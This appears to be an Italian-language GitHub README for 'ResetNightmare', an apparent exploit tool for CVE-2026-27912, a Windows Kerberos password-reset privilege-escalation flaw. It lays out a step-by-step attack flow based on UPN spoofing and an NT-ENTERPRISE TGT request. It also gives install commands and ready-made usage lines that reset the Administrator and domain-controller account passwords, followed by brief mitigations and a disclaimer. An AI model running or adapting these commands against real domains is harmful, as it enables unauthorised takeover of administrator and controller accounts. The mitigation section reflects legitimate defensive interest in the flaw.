Kerberos-CVE-2026-27912

CVE-2026-27912 - Vulnerabilità di elevazione dei privilegi in Windows Kerberos

ResetNightmare - Reimpostazione non autorizzata della password tramite un difetto del protocollo Kerberos Change Password.

📋 Dettagli

🔍 Flusso dell'attacco

1. Attacker has/creates account with UPN write permissions
2. Sets fake UPN to target's sAMAccountName
3. Requests TGT with NT-ENTERPRISE name type
4. Clears their own UPN
5. Uses TGT to reset target's password
6. Verifies password change success

📦 Requisiti

• Windows con PowerShell
• Modulo ActiveDirectory (Install-WindowsFeature RSAT-AD-PowerShell)
• Rubeus.exe (scaricabile da GhostPack/Rubeus)
• Accesso di rete al Domain Controller

🚀 Installazione

# Clone repository
git clone https://github.com/oxstussz-eng/Kerberos-CVE-2026-27912.git
cd Kerberos-CVE-2026-27912

# Install dependencies
pip install -r requirements.txt

💻 Utilizzo

Attacco di base

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass

Account computer di destinazione

python resetnightmare.py -t DC01$ -p NewPass123 -u AttackUser -up AttackPass -c

Creazione di un nuovo account

python resetnightmare.py -t Admin -p NewPass -u NewUser -up Pass -path "OU=Temp,DC=domain,DC=local"

Modalità verbose

python resetnightmare.py -t Administrator -p NewPass123 -u AttackUser -up AttackPass -v

📊 Argomenti

🛡️ Mitigazione

1. Applicare la patch ufficiale dell'aggiornamento di sicurezza Microsoft
2. Segmentare la rete per limitare l'accesso alle reti adiacenti
3. Applicare il principio del minimo privilegio - limitare i permessi di scrittura UPN
4. Monitorare le modifiche UPN e le reimpostazioni di password sospette

⚠️ Disclaimer

Solo per test di sicurezza autorizzati e ricerca educativa.

L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo software.

📚 Riferimenti

• NVD: CVE-2026-27912
• Guida agli aggiornamenti di sicurezza Microsoft

👨‍💻 Autore

n0vax1337 / Ricercatore di sicurezza

📄 Licenza

Licenza MIT - vedi LICENSE

Ultimo aggiornamento: 2026